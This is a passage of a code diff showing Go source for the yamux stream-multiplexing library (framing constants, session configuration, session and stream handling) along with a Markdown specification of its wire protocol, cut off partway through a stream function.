// ErrKeepAliveTimeout is sent if a missed keepalive caused the stream close
ErrKeepAliveTimeout = fmt.Errorf("keepalive timeout")
)
const (
// protoVersion is the only version we support
protoVersion uint8 = 0
)
const (
// Data is used for data frames. They are followed
// by length bytes worth of payload.
typeData uint8 = iota
// WindowUpdate is used to change the window of
// a given stream. The length indicates the delta
// update to the window.
typeWindowUpdate
// Ping is sent as a keep-alive or to measure
// the RTT. The StreamID and Length value are echoed
// back in the response.
typePing
// GoAway is sent to terminate a session. The StreamID
// should be 0 and the length is an error code.
typeGoAway
)
const (
// SYN is sent to signal a new stream. May
// be sent with a data payload
flagSYN uint16 = 1 << iota
// ACK is sent to acknowledge a new stream. May
// be sent with a data payload
flagACK
// FIN is sent to half-close the given stream.
// May be sent with a data payload.
flagFIN
// RST is used to hard close a given stream.
flagRST
)
const (
// initialStreamWindow is the initial stream window size
initialStreamWindow uint32 = 256 * 1024
)
const (
// goAwayNormal is sent on a normal termination
goAwayNormal uint32 = iota
// goAwayProtoErr sent on a protocol error
goAwayProtoErr
// goAwayInternalErr sent on an internal error
goAwayInternalErr
)
const (
sizeOfVersion = 1
sizeOfType = 1
sizeOfFlags = 2
sizeOfStreamID = 4
sizeOfLength = 4
headerSize = sizeOfVersion + sizeOfType + sizeOfFlags +
sizeOfStreamID + sizeOfLength
)
type header []byte
func (h header) Version() uint8 {
return h[0]
}
func (h header) MsgType() uint8 {
return h[1]
}
func (h header) Flags() uint16 {
return binary.BigEndian.Uint16(h[2:4])
}
func (h header) StreamID() uint32 {
return binary.BigEndian.Uint32(h[4:8])
}
func (h header) Length() uint32 {
return binary.BigEndian.Uint32(h[8:12])
}
func (h header) String() string {
return fmt.Sprintf("Vsn:%d Type:%d Flags:%d StreamID:%d Length:%d",
h.Version(), h.MsgType(), h.Flags(), h.StreamID(), h.Length())
}
func (h header) encode(msgType uint8, flags uint16, streamID uint32, length uint32) {
h[0] = protoVersion
h[1] = msgType
binary.BigEndian.PutUint16(h[2:4], flags)
binary.BigEndian.PutUint32(h[4:8], streamID)
binary.BigEndian.PutUint32(h[8:12], length)
}
+118
View File
@@ -0,0 +1,118 @@
package yamux
import (
"fmt"
"io"
"os"
"time"
)
// Config is used to tune the Yamux session
type Config struct {
// AcceptBacklog is used to limit how many streams may be
// waiting an accept.
AcceptBacklog int
// EnableKeepalive is used to do a period keep alive
// messages using a ping.
EnableKeepAlive bool
// KeepAliveInterval is how often to perform the keep alive
KeepAliveInterval time.Duration
// ConnectionWriteTimeout is meant to be a "safety valve" timeout after
// we which will suspect a problem with the underlying connection and
// close it. This is only applied to writes, where's there's generally
// an expectation that things will move along quickly.
ConnectionWriteTimeout time.Duration
// MaxStreamWindowSize is used to control the maximum
// window size that we allow for a stream.
MaxStreamWindowSize uint32
// StreamOpenTimeout is the maximum amount of time that a stream will
// be allowed to remain in pending state while waiting for an ack from the peer.
// Once the timeout is reached the session will be gracefully closed.
// A zero value disables the StreamOpenTimeout allowing unbounded
// blocking on OpenStream calls.
StreamOpenTimeout time.Duration
// StreamCloseTimeout is the maximum time that a stream will allowed to
// be in a half-closed state when `Close` is called before forcibly
// closing the connection. Forcibly closed connections will empty the
// receive buffer, drop any future packets received for that stream,
// and send a RST to the remote side.
StreamCloseTimeout time.Duration
// LogOutput is used to control the log destination. Either Logger or
// LogOutput can be set, not both.
LogOutput io.Writer
// Logger is used to pass in the logger to be used. Either Logger or
// LogOutput can be set, not both.
Logger Logger
}
func (c *Config) Clone() *Config {
c2 := *c
return &c2
}
// DefaultConfig is used to return a default configuration
func DefaultConfig() *Config {
return &Config{
AcceptBacklog: 256,
EnableKeepAlive: true,
KeepAliveInterval: 30 * time.Second,
ConnectionWriteTimeout: 10 * time.Second,
MaxStreamWindowSize: initialStreamWindow,
StreamCloseTimeout: 5 * time.Minute,
StreamOpenTimeout: 75 * time.Second,
LogOutput: os.Stderr,
}
}
// VerifyConfig is used to verify the sanity of configuration
func VerifyConfig(config *Config) error {
if config.AcceptBacklog <= 0 {
return fmt.Errorf("backlog must be positive")
}
if config.KeepAliveInterval == 0 {
return fmt.Errorf("keep-alive interval must be positive")
}
if config.MaxStreamWindowSize < initialStreamWindow {
return fmt.Errorf("MaxStreamWindowSize must be larger than %d", initialStreamWindow)
}
if config.LogOutput != nil && config.Logger != nil {
return fmt.Errorf("both Logger and LogOutput may not be set, select one")
} else if config.LogOutput == nil && config.Logger == nil {
return fmt.Errorf("one of Logger or LogOutput must be set, select one")
}
return nil
}
// Server is used to initialize a new server-side connection.
// There must be at most one server-side connection. If a nil config is
// provided, the DefaultConfiguration will be used.
func Server(conn io.ReadWriteCloser, config *Config) (*Session, error) {
if config == nil {
config = DefaultConfig()
}
if err := VerifyConfig(config); err != nil {
return nil, err
}
return newSession(config, conn, false), nil
}
// Client is used to initialize a new client-side connection.
// There must be at most one client-side connection.
func Client(conn io.ReadWriteCloser, config *Config) (*Session, error) {
if config == nil {
config = DefaultConfig()
}
if err := VerifyConfig(config); err != nil {
return nil, err
}
return newSession(config, conn, true), nil
}
+749
View File
@@ -0,0 +1,749 @@
package yamux
import (
"bufio"
"bytes"
"context"
"fmt"
"io"
"io/ioutil"
"log"
"math"
"net"
"strings"
"sync"
"sync/atomic"
"time"
)
// Session is used to wrap a reliable ordered connection and to
// multiplex it into multiple streams.
type Session struct {
// remoteGoAway indicates the remote side does
// not want futher connections. Must be first for alignment.
remoteGoAway int32
// localGoAway indicates that we should stop
// accepting futher connections. Must be first for alignment.
localGoAway int32
// nextStreamID is the next stream we should
// send. This depends if we are a client/server.
nextStreamID uint32
// config holds our configuration
config *Config
// logger is used for our logs
logger Logger
// conn is the underlying connection
conn io.ReadWriteCloser
// bufRead is a buffered reader
bufRead *bufio.Reader
// pings is used to track inflight pings
pings map[uint32]chan struct{}
pingID uint32
pingLock sync.Mutex
// streams maps a stream id to a stream, and inflight has an entry
// for any outgoing stream that has not yet been established. Both are
// protected by streamLock.
streams map[uint32]*Stream
inflight map[uint32]struct{}
streamLock sync.Mutex
// synCh acts like a semaphore. It is sized to the AcceptBacklog which
// is assumed to be symmetric between the client and server. This allows
// the client to avoid exceeding the backlog and instead blocks the open.
synCh chan struct{}
// acceptCh is used to pass ready streams to the client
acceptCh chan *Stream
// sendCh is used to mark a stream as ready to send,
// or to send a header out directly.
sendCh chan *sendReady
// recvDoneCh is closed when recv() exits to avoid a race
// between stream registration and stream shutdown
recvDoneCh chan struct{}
sendDoneCh chan struct{}
// shutdown is used to safely close a session
shutdown bool
shutdownErr error
shutdownCh chan struct{}
shutdownLock sync.Mutex
shutdownErrLock sync.Mutex
}
// sendReady is used to either mark a stream as ready
// or to directly send a header
type sendReady struct {
Hdr []byte
mu sync.Mutex // Protects Body from unsafe reads.
Body []byte
Err chan error
}
// newSession is used to construct a new session
func newSession(config *Config, conn io.ReadWriteCloser, client bool) *Session {
logger := config.Logger
if logger == nil {
logger = log.New(config.LogOutput, "", log.LstdFlags)
}
s := &Session{
config: config,
logger: logger,
conn: conn,
bufRead: bufio.NewReader(conn),
pings: make(map[uint32]chan struct{}),
streams: make(map[uint32]*Stream),
inflight: make(map[uint32]struct{}),
synCh: make(chan struct{}, config.AcceptBacklog),
acceptCh: make(chan *Stream, config.AcceptBacklog),
sendCh: make(chan *sendReady, 64),
recvDoneCh: make(chan struct{}),
sendDoneCh: make(chan struct{}),
shutdownCh: make(chan struct{}),
}
if client {
s.nextStreamID = 1
} else {
s.nextStreamID = 2
}
go s.recv()
go s.send()
if config.EnableKeepAlive {
go s.keepalive()
}
return s
}
// IsClosed does a safe check to see if we have shutdown
func (s *Session) IsClosed() bool {
select {
case <-s.shutdownCh:
return true
default:
return false
}
}
// CloseChan returns a read-only channel which is closed as
// soon as the session is closed.
func (s *Session) CloseChan() <-chan struct{} {
return s.shutdownCh
}
// NumStreams returns the number of currently open streams
func (s *Session) NumStreams() int {
s.streamLock.Lock()
num := len(s.streams)
s.streamLock.Unlock()
return num
}
// Open is used to create a new stream as a net.Conn
func (s *Session) Open() (net.Conn, error) {
conn, err := s.OpenStream()
if err != nil {
return nil, err
}
return conn, nil
}
// OpenStream is used to create a new stream
func (s *Session) OpenStream() (*Stream, error) {
if s.IsClosed() {
return nil, ErrSessionShutdown
}
if atomic.LoadInt32(&s.remoteGoAway) == 1 {
return nil, ErrRemoteGoAway
}
// Block if we have too many inflight SYNs
select {
case s.synCh <- struct{}{}:
case <-s.shutdownCh:
return nil, ErrSessionShutdown
}
GET_ID:
// Get an ID, and check for stream exhaustion
id := atomic.LoadUint32(&s.nextStreamID)
if id >= math.MaxUint32-1 {
return nil, ErrStreamsExhausted
}
if !atomic.CompareAndSwapUint32(&s.nextStreamID, id, id+2) {
goto GET_ID
}
// Register the stream
stream := newStream(s, id, streamInit)
s.streamLock.Lock()
s.streams[id] = stream
s.inflight[id] = struct{}{}
s.streamLock.Unlock()
if s.config.StreamOpenTimeout > 0 {
go s.setOpenTimeout(stream)
}
// Send the window update to create
if err := stream.sendWindowUpdate(); err != nil {
select {
case <-s.synCh:
default:
s.logger.Printf("[ERR] yamux: aborted stream open without inflight syn semaphore")
}
return nil, err
}
return stream, nil
}
// setOpenTimeout implements a timeout for streams that are opened but not established.
// If the StreamOpenTimeout is exceeded we assume the peer is unable to ACK,
// and close the session.
// The number of running timers is bounded by the capacity of the synCh.
func (s *Session) setOpenTimeout(stream *Stream) {
timer := time.NewTimer(s.config.StreamOpenTimeout)
defer timer.Stop()
select {
case <-stream.establishCh:
return
case <-s.shutdownCh:
return
case <-timer.C:
// Timeout reached while waiting for ACK.
// Close the session to force connection re-establishment.
s.logger.Printf("[ERR] yamux: aborted stream open (destination=%s): %v", s.RemoteAddr().String(), ErrTimeout.err)
s.Close()
}
}
// Accept is used to block until the next available stream
// is ready to be accepted.
func (s *Session) Accept() (net.Conn, error) {
conn, err := s.AcceptStream()
if err != nil {
return nil, err
}
return conn, err
}
// AcceptStream is used to block until the next available stream
// is ready to be accepted.
func (s *Session) AcceptStream() (*Stream, error) {
select {
case stream := <-s.acceptCh:
if err := stream.sendWindowUpdate(); err != nil {
return nil, err
}
return stream, nil
case <-s.shutdownCh:
return nil, s.shutdownErr
}
}
// AcceptStream is used to block until the next available stream
// is ready to be accepted.
func (s *Session) AcceptStreamWithContext(ctx context.Context) (*Stream, error) {
select {
case <-ctx.Done():
return nil, ctx.Err()
case stream := <-s.acceptCh:
if err := stream.sendWindowUpdate(); err != nil {
return nil, err
}
return stream, nil
case <-s.shutdownCh:
return nil, s.shutdownErr
}
}
// Close is used to close the session and all streams.
// Attempts to send a GoAway before closing the connection.
func (s *Session) Close() error {
s.shutdownLock.Lock()
defer s.shutdownLock.Unlock()
if s.shutdown {
return nil
}
s.shutdown = true
s.shutdownErrLock.Lock()
if s.shutdownErr == nil {
s.shutdownErr = ErrSessionShutdown
}
s.shutdownErrLock.Unlock()
close(s.shutdownCh)
s.conn.Close()
<-s.recvDoneCh
s.streamLock.Lock()
defer s.streamLock.Unlock()
for _, stream := range s.streams {
stream.forceClose()
}
<-s.sendDoneCh
return nil
}
// exitErr is used to handle an error that is causing the
// session to terminate.
func (s *Session) exitErr(err error) {
s.shutdownErrLock.Lock()
if s.shutdownErr == nil {
s.shutdownErr = err
}
s.shutdownErrLock.Unlock()
s.Close()
}
// GoAway can be used to prevent accepting further
// connections. It does not close the underlying conn.
func (s *Session) GoAway() error {
return s.waitForSend(s.goAway(goAwayNormal), nil)
}
// goAway is used to send a goAway message
func (s *Session) goAway(reason uint32) header {
atomic.SwapInt32(&s.localGoAway, 1)
hdr := header(make([]byte, headerSize))
hdr.encode(typeGoAway, 0, 0, reason)
return hdr
}
// Ping is used to measure the RTT response time
func (s *Session) Ping() (time.Duration, error) {
// Get a channel for the ping
ch := make(chan struct{})
// Get a new ping id, mark as pending
s.pingLock.Lock()
id := s.pingID
s.pingID++
s.pings[id] = ch
s.pingLock.Unlock()
// Send the ping request
hdr := header(make([]byte, headerSize))
hdr.encode(typePing, flagSYN, 0, id)
if err := s.waitForSend(hdr, nil); err != nil {
return 0, err
}
// Wait for a response
start := time.Now()
select {
case <-ch:
case <-time.After(s.config.ConnectionWriteTimeout):
s.pingLock.Lock()
delete(s.pings, id) // Ignore it if a response comes later.
s.pingLock.Unlock()
return 0, ErrTimeout
case <-s.shutdownCh:
return 0, ErrSessionShutdown
}
// Compute the RTT
return time.Since(start), nil
}
// keepalive is a long running goroutine that periodically does
// a ping to keep the connection alive.
func (s *Session) keepalive() {
for {
select {
case <-time.After(s.config.KeepAliveInterval):
_, err := s.Ping()
if err != nil {
if err != ErrSessionShutdown {
s.logger.Printf("[ERR] yamux: keepalive failed: %v", err)
s.exitErr(ErrKeepAliveTimeout)
}
return
}
case <-s.shutdownCh:
return
}
}
}
// waitForSendErr waits to send a header, checking for a potential shutdown
func (s *Session) waitForSend(hdr header, body []byte) error {
errCh := make(chan error, 1)
return s.waitForSendErr(hdr, body, errCh)
}
// waitForSendErr waits to send a header with optional data, checking for a
// potential shutdown. Since there's the expectation that sends can happen
// in a timely manner, we enforce the connection write timeout here.
func (s *Session) waitForSendErr(hdr header, body []byte, errCh chan error) error {
t := timerPool.Get()
timer := t.(*time.Timer)
timer.Reset(s.config.ConnectionWriteTimeout)
defer func() {
timer.Stop()
select {
case <-timer.C:
default:
}
timerPool.Put(t)
}()
ready := &sendReady{Hdr: hdr, Body: body, Err: errCh}
select {
case s.sendCh <- ready:
case <-s.shutdownCh:
return ErrSessionShutdown
case <-timer.C:
return ErrConnectionWriteTimeout
}
bodyCopy := func() {
if body == nil {
return // A nil body is ignored.
}
// In the event of session shutdown or connection write timeout,
// we need to prevent `send` from reading the body buffer after
// returning from this function since the caller may re-use the
// underlying array.
ready.mu.Lock()
defer ready.mu.Unlock()
if ready.Body == nil {
return // Body was already copied in `send`.
}
newBody := make([]byte, len(body))
copy(newBody, body)
ready.Body = newBody
}
select {
case err := <-errCh:
return err
case <-s.shutdownCh:
bodyCopy()
return ErrSessionShutdown
case <-timer.C:
bodyCopy()
return ErrConnectionWriteTimeout
}
}
// sendNoWait does a send without waiting. Since there's the expectation that
// the send happens right here, we enforce the connection write timeout if we
// can't queue the header to be sent.
func (s *Session) sendNoWait(hdr header) error {
t := timerPool.Get()
timer := t.(*time.Timer)
timer.Reset(s.config.ConnectionWriteTimeout)
defer func() {
timer.Stop()
select {
case <-timer.C:
default:
}
timerPool.Put(t)
}()
select {
case s.sendCh <- &sendReady{Hdr: hdr}:
return nil
case <-s.shutdownCh:
return ErrSessionShutdown
case <-timer.C:
return ErrConnectionWriteTimeout
}
}
// send is a long running goroutine that sends data
func (s *Session) send() {
if err := s.sendLoop(); err != nil {
s.exitErr(err)
}
}
func (s *Session) sendLoop() error {
defer close(s.sendDoneCh)
var bodyBuf bytes.Buffer
for {
bodyBuf.Reset()
select {
case ready := <-s.sendCh:
// Send a header if ready
if ready.Hdr != nil {
_, err := s.conn.Write(ready.Hdr)
if err != nil {
s.logger.Printf("[ERR] yamux: Failed to write header: %v", err)
asyncSendErr(ready.Err, err)
return err
}
}
ready.mu.Lock()
if ready.Body != nil {
// Copy the body into the buffer to avoid
// holding a mutex lock during the write.
_, err := bodyBuf.Write(ready.Body)
if err != nil {
ready.Body = nil
ready.mu.Unlock()
s.logger.Printf("[ERR] yamux: Failed to copy body into buffer: %v", err)
asyncSendErr(ready.Err, err)
return err
}
ready.Body = nil
}
ready.mu.Unlock()
if bodyBuf.Len() > 0 {
// Send data from a body if given
_, err := s.conn.Write(bodyBuf.Bytes())
if err != nil {
s.logger.Printf("[ERR] yamux: Failed to write body: %v", err)
asyncSendErr(ready.Err, err)
return err
}
}
// No error, successful send
asyncSendErr(ready.Err, nil)
case <-s.shutdownCh:
return nil
}
}
}
// recv is a long running goroutine that accepts new data
func (s *Session) recv() {
if err := s.recvLoop(); err != nil {
s.exitErr(err)
}
}
// Ensure that the index of the handler (typeData/typeWindowUpdate/etc) matches the message type
var (
handlers = []func(*Session, header) error{
typeData: (*Session).handleStreamMessage,
typeWindowUpdate: (*Session).handleStreamMessage,
typePing: (*Session).handlePing,
typeGoAway: (*Session).handleGoAway,
}
)
// recvLoop continues to receive data until a fatal error is encountered
func (s *Session) recvLoop() error {
defer close(s.recvDoneCh)
hdr := header(make([]byte, headerSize))
for {
// Read the header
if _, err := io.ReadFull(s.bufRead, hdr); err != nil {
if err != io.EOF && !strings.Contains(err.Error(), "closed") && !strings.Contains(err.Error(), "reset by peer") {
s.logger.Printf("[ERR] yamux: Failed to read header: %v", err)
}
return err
}
// Verify the version
if hdr.Version() != protoVersion {
s.logger.Printf("[ERR] yamux: Invalid protocol version: %d", hdr.Version())
return ErrInvalidVersion
}
mt := hdr.MsgType()
if mt < typeData || mt > typeGoAway {
return ErrInvalidMsgType
}
if err := handlers[mt](s, hdr); err != nil {
return err
}
}
}
// handleStreamMessage handles either a data or window update frame
func (s *Session) handleStreamMessage(hdr header) error {
// Check for a new stream creation
id := hdr.StreamID()
flags := hdr.Flags()
if flags&flagSYN == flagSYN {
if err := s.incomingStream(id); err != nil {
return err
}
}
// Get the stream
s.streamLock.Lock()
stream := s.streams[id]
s.streamLock.Unlock()
// If we do not have a stream, likely we sent a RST
if stream == nil {
// Drain any data on the wire
if hdr.MsgType() == typeData && hdr.Length() > 0 {
s.logger.Printf("[WARN] yamux: Discarding data for stream: %d", id)
if _, err := io.CopyN(ioutil.Discard, s.bufRead, int64(hdr.Length())); err != nil {
s.logger.Printf("[ERR] yamux: Failed to discard data: %v", err)
return nil
}
} else {
s.logger.Printf("[WARN] yamux: frame for missing stream: %v", hdr)
}
return nil
}
// Check if this is a window update
if hdr.MsgType() == typeWindowUpdate {
if err := stream.incrSendWindow(hdr, flags); err != nil {
if sendErr := s.sendNoWait(s.goAway(goAwayProtoErr)); sendErr != nil {
s.logger.Printf("[WARN] yamux: failed to send go away: %v", sendErr)
}
return err
}
return nil
}
// Read the new data
if err := stream.readData(hdr, flags, s.bufRead); err != nil {
if sendErr := s.sendNoWait(s.goAway(goAwayProtoErr)); sendErr != nil {
s.logger.Printf("[WARN] yamux: failed to send go away: %v", sendErr)
}
return err
}
return nil
}
// handlePing is invokde for a typePing frame
func (s *Session) handlePing(hdr header) error {
flags := hdr.Flags()
pingID := hdr.Length()
// Check if this is a query, respond back in a separate context so we
// don't interfere with the receiving thread blocking for the write.
if flags&flagSYN == flagSYN {
go func() {
hdr := header(make([]byte, headerSize))
hdr.encode(typePing, flagACK, 0, pingID)
if err := s.sendNoWait(hdr); err != nil {
s.logger.Printf("[WARN] yamux: failed to send ping reply: %v", err)
}
}()
return nil
}
// Handle a response
s.pingLock.Lock()
ch := s.pings[pingID]
if ch != nil {
delete(s.pings, pingID)
close(ch)
}
s.pingLock.Unlock()
return nil
}
// handleGoAway is invokde for a typeGoAway frame
func (s *Session) handleGoAway(hdr header) error {
code := hdr.Length()
switch code {
case goAwayNormal:
atomic.SwapInt32(&s.remoteGoAway, 1)
case goAwayProtoErr:
s.logger.Printf("[ERR] yamux: received protocol error go away")
return fmt.Errorf("yamux protocol error")
case goAwayInternalErr:
s.logger.Printf("[ERR] yamux: received internal error go away")
return fmt.Errorf("remote yamux internal error")
default:
s.logger.Printf("[ERR] yamux: received unexpected go away")
return fmt.Errorf("unexpected go away received")
}
return nil
}
// incomingStream is used to create a new incoming stream
func (s *Session) incomingStream(id uint32) error {
// Reject immediately if we are doing a go away
if atomic.LoadInt32(&s.localGoAway) == 1 {
hdr := header(make([]byte, headerSize))
hdr.encode(typeWindowUpdate, flagRST, id, 0)
return s.sendNoWait(hdr)
}
// Allocate a new stream
stream := newStream(s, id, streamSYNReceived)
s.streamLock.Lock()
defer s.streamLock.Unlock()
// Check if stream already exists
if _, ok := s.streams[id]; ok {
s.logger.Printf("[ERR] yamux: duplicate stream declared")
if sendErr := s.sendNoWait(s.goAway(goAwayProtoErr)); sendErr != nil {
s.logger.Printf("[WARN] yamux: failed to send go away: %v", sendErr)
}
return ErrDuplicateStream
}
// Register the stream
s.streams[id] = stream
// Check if we've exceeded the backlog
select {
case s.acceptCh <- stream:
return nil
default:
// Backlog exceeded! RST the stream
s.logger.Printf("[WARN] yamux: backlog exceeded, forcing connection reset")
delete(s.streams, id)
hdr := header(make([]byte, headerSize))
hdr.encode(typeWindowUpdate, flagRST, id, 0)
return s.sendNoWait(hdr)
}
}
// closeStream is used to close a stream once both sides have
// issued a close. If there was an in-flight SYN and the stream
// was not yet established, then this will give the credit back.
func (s *Session) closeStream(id uint32) {
s.streamLock.Lock()
if _, ok := s.inflight[id]; ok {
select {
case <-s.synCh:
default:
s.logger.Printf("[ERR] yamux: SYN tracking out of sync")
}
}
delete(s.streams, id)
s.streamLock.Unlock()
}
// establishStream is used to mark a stream that was in the
// SYN Sent state as established.
func (s *Session) establishStream(id uint32) {
s.streamLock.Lock()
if _, ok := s.inflight[id]; ok {
delete(s.inflight, id)
} else {
s.logger.Printf("[ERR] yamux: established stream without inflight SYN (no tracking entry)")
}
select {
case <-s.synCh:
default:
s.logger.Printf("[ERR] yamux: established stream without inflight SYN (didn't have semaphore)")
}
s.streamLock.Unlock()
}
+140
View File
@@ -0,0 +1,140 @@
# Specification
We use this document to detail the internal specification of Yamux.
This is used both as a guide for implementing Yamux, but also for
alternative interoperable libraries to be built.
# Framing
Yamux uses a streaming connection underneath, but imposes a message
framing so that it can be shared between many logical streams. Each
frame contains a header like:
* Version (8 bits)
* Type (8 bits)
* Flags (16 bits)
* StreamID (32 bits)
* Length (32 bits)
This means that each header has a 12 byte overhead.
All fields are encoded in network order (big endian).
Each field is described below:
## Version Field
The version field is used for future backward compatibility. At the
current time, the field is always set to 0, to indicate the initial
version.
## Type Field
The type field is used to switch the frame message type. The following
message types are supported:
* 0x0 Data - Used to transmit data. May transmit zero length payloads
depending on the flags.
* 0x1 Window Update - Used to updated the senders receive window size.
This is used to implement per-session flow control.
* 0x2 Ping - Used to measure RTT. It can also be used to heart-beat
and do keep-alives over TCP.
* 0x3 Go Away - Used to close a session.
## Flag Field
The flags field is used to provide additional information related
to the message type. The following flags are supported:
* 0x1 SYN - Signals the start of a new stream. May be sent with a data or
window update message. Also sent with a ping to indicate outbound.
* 0x2 ACK - Acknowledges the start of a new stream. May be sent with a data
or window update message. Also sent with a ping to indicate response.
* 0x4 FIN - Performs a half-close of a stream. May be sent with a data
message or window update.
* 0x8 RST - Reset a stream immediately. May be sent with a data or
window update message.
## StreamID Field
The StreamID field is used to identify the logical stream the frame
is addressing. The client side should use odd ID's, and the server even.
This prevents any collisions. Additionally, the 0 ID is reserved to represent
the session.
Both Ping and Go Away messages should always use the 0 StreamID.
## Length Field
The meaning of the length field depends on the message type:
* Data - provides the length of bytes following the header
* Window update - provides a delta update to the window size
* Ping - Contains an opaque value, echoed back
* Go Away - Contains an error code
# Message Flow
There is no explicit connection setup, as Yamux relies on an underlying
transport to be provided. However, there is a distinction between client
and server side of the connection.
## Opening a stream
To open a stream, an initial data or window update frame is sent
with a new StreamID. The SYN flag should be set to signal a new stream.
The receiver must then reply with either a data or window update frame
with the StreamID along with the ACK flag to accept the stream or with
the RST flag to reject the stream.
Because we are relying on the reliable stream underneath, a connection
can begin sending data once the SYN flag is sent. The corresponding
ACK does not need to be received. This is particularly well suited
for an RPC system where a client wants to open a stream and immediately
fire a request without waiting for the RTT of the ACK.
This does introduce the possibility of a connection being rejected
after data has been sent already. This is a slight semantic difference
from TCP, where the connection cannot be refused after it is opened.
Clients should be prepared to handle this by checking for an error
that indicates a RST was received.
## Closing a stream
To close a stream, either side sends a data or window update frame
along with the FIN flag. This does a half-close indicating the sender
will send no further data.
Once both sides have closed the connection, the stream is closed.
Alternatively, if an error occurs, the RST flag can be used to
hard close a stream immediately.
## Flow Control
When Yamux is initially starts each stream with a 256KB window size.
There is no window size for the session.
To prevent the streams from stalling, window update frames should be
sent regularly. Yamux can be configured to provide a larger limit for
windows sizes. Both sides assume the initial 256KB window, but can
immediately send a window update as part of the SYN/ACK indicating a
larger window.
Both sides should track the number of bytes sent in Data frames
only, as only they are tracked as part of the window size.
## Session termination
When a session is being terminated, the Go Away message should
be sent. The Length should be set to one of the following to
provide an error code:
* 0x0 Normal termination
* 0x1 Protocol error
* 0x2 Internal error
+556
View File
@@ -0,0 +1,556 @@
package yamux
import (
"bytes"
"errors"
"io"
"sync"
"sync/atomic"
"time"
)
type streamState int
const (
streamInit streamState = iota
streamSYNSent
streamSYNReceived
streamEstablished
streamLocalClose
streamRemoteClose
streamClosed
streamReset
)
// Stream is used to represent a logical stream
// within a session.
type Stream struct {
recvWindow uint32
sendWindow uint32
id uint32
session *Session
state streamState
stateLock sync.Mutex
recvBuf *bytes.Buffer
recvLock sync.Mutex
controlHdr header
controlErr chan error
controlHdrLock sync.Mutex
sendHdr header
sendErr chan error
sendLock sync.Mutex
recvNotifyCh chan struct{}
sendNotifyCh chan struct{}
readDeadline atomic.Value // time.Time
writeDeadline atomic.Value // time.Time
// establishCh is notified if the stream is established or being closed.
establishCh chan struct{}
// closeTimer is set with stateLock held to honor the StreamCloseTimeout
// setting on Session.
closeTimer *time.Timer
}
// newStream is used to construct a new stream within
// a given session for an ID
func newStream(session *Session, id uint32, state streamState) *Stream {
s := &Stream{
id: id,
session: session,
state: state,
controlHdr: header(make([]byte, headerSize)),
controlErr: make(chan error, 1),
sendHdr: header(make([]byte, headerSize)),
sendErr: make(chan error, 1),
recvWindow: initialStreamWindow,
sendWindow: initialStreamWindow,
recvNotifyCh: make(chan struct{}, 1),
sendNotifyCh: make(chan struct{}, 1),
establishCh: make(chan struct{}, 1),
}
s.readDeadline.Store(time.Time{})
s.writeDeadline.Store(time.Time{})
return s
}
// Session returns the associated stream session
func (s *Stream) Session() *Session {
return s.session
}
// StreamID returns the ID of this stream
func (s *Stream) StreamID() uint32 {
return s.id
}
// Read is used to read from the stream
func (s *Stream) Read(b []byte) (n int, err error) {
defer asyncNotify(s.recvNotifyCh)
START:
// If the stream is closed and there's no data buffered, return EOF
s.stateLock.Lock()
switch s.state {
case streamLocalClose:
// LocalClose only prohibits further local writes. Handle reads normally.
case streamRemoteClose:
fallthrough
case streamClosed:
s.recvLock.Lock()
if s.recvBuf == nil || s.recvBuf.Len() == 0 {
s.recvLock.Unlock()
s.stateLock.Unlock()
return 0, io.EOF
}
s.recvLock.Unlock()
case streamReset:
s.stateLock.Unlock()
return 0, ErrConnectionReset
}
s.stateLock.Unlock()
// If there is no data available, block
s.recvLock.Lock()
if s.recvBuf == nil || s.recvBuf.Len() == 0 {
s.recvLock.Unlock()
goto WAIT
}
// Read any bytes
n, _ = s.recvBuf.Read(b)
s.recvLock.Unlock()
// Send a window update potentially
err = s.sendWindowUpdate()
if err == ErrSessionShutdown {
err = nil
}
return n, err
WAIT:
var timeout <-chan time.Time
var timer *time.Timer
readDeadline := s.readDeadline.Load().(time.Time)
if !readDeadline.IsZero() {
delay := time.Until(readDeadline)
timer = time.NewTimer(delay)
timeout = timer.C
}
select {
case <-s.session.shutdownCh:
case <-s.recvNotifyCh:
case <-timeout:
return 0, ErrTimeout
}
if timer != nil {
if !timer.Stop() {
<-timeout
}
}
goto START
}
// Write is used to write to the stream
func (s *Stream) Write(b []byte) (n int, err error) {
s.sendLock.Lock()
defer s.sendLock.Unlock()
total := 0
for total < len(b) {
n, err := s.write(b[total:])
total += n
if err != nil {
return total, err
}
}
return total, nil
}
// write is used to write to the stream, may return on
// a short write.
func (s *Stream) write(b []byte) (n int, err error) {
var flags uint16
var max uint32
var body []byte
START:
s.stateLock.Lock()
switch s.state {
case streamLocalClose:
fallthrough
case streamClosed:
s.stateLock.Unlock()
return 0, ErrStreamClosed
case streamReset:
s.stateLock.Unlock()
return 0, ErrConnectionReset
}
s.stateLock.Unlock()
// If there is no data available, block
window := atomic.LoadUint32(&s.sendWindow)
if window == 0 {
goto WAIT
}
// Determine the flags if any
flags = s.sendFlags()
// Send up to our send window
max = min(window, uint32(len(b)))
body = b[:max]
// Send the header
s.sendHdr.encode(typeData, flags, s.id, max)
if err = s.session.waitForSendErr(s.sendHdr, body, s.sendErr); err != nil {
if errors.Is(err, ErrSessionShutdown) || errors.Is(err, ErrConnectionWriteTimeout) {
// Message left in ready queue, header re-use is unsafe.
s.sendHdr = header(make([]byte, headerSize))
}
return 0, err
}
// Reduce our send window
atomic.AddUint32(&s.sendWindow, ^uint32(max-1))
// Unlock
return int(max), err
WAIT:
var timeout <-chan time.Time
var timer *time.Timer
writeDeadline := s.writeDeadline.Load().(time.Time)
if !writeDeadline.IsZero() {
delay := time.Until(writeDeadline)
timer = time.NewTimer(delay)
timeout = timer.C
}
select {
case <-s.session.shutdownCh:
case <-s.sendNotifyCh:
case <-timeout:
return 0, ErrTimeout
}
if timer != nil {
if !timer.Stop() {
<-timeout
}
}
goto START
}
// sendFlags determines any flags that are appropriate
// based on the current stream state
func (s *Stream) sendFlags() uint16 {
s.stateLock.Lock()
defer s.stateLock.Unlock()
var flags uint16
switch s.state {
case streamInit:
flags |= flagSYN
s.state = streamSYNSent
case streamSYNReceived:
flags |= flagACK
s.state = streamEstablished
}
return flags
}
// sendWindowUpdate potentially sends a window update enabling
// further writes to take place. Must be invoked with the lock.
func (s *Stream) sendWindowUpdate() error {
s.controlHdrLock.Lock()
defer s.controlHdrLock.Unlock()
// Determine the delta update
max := s.session.config.MaxStreamWindowSize
var bufLen uint32
s.recvLock.Lock()
if s.recvBuf != nil {
bufLen = uint32(s.recvBuf.Len())
}
delta := (max - bufLen) - s.recvWindow
// Determine the flags if any
flags := s.sendFlags()
// Check if we can omit the update
if delta < (max/2) && flags == 0 {
s.recvLock.Unlock()
return nil
}
// Update our window
s.recvWindow += delta
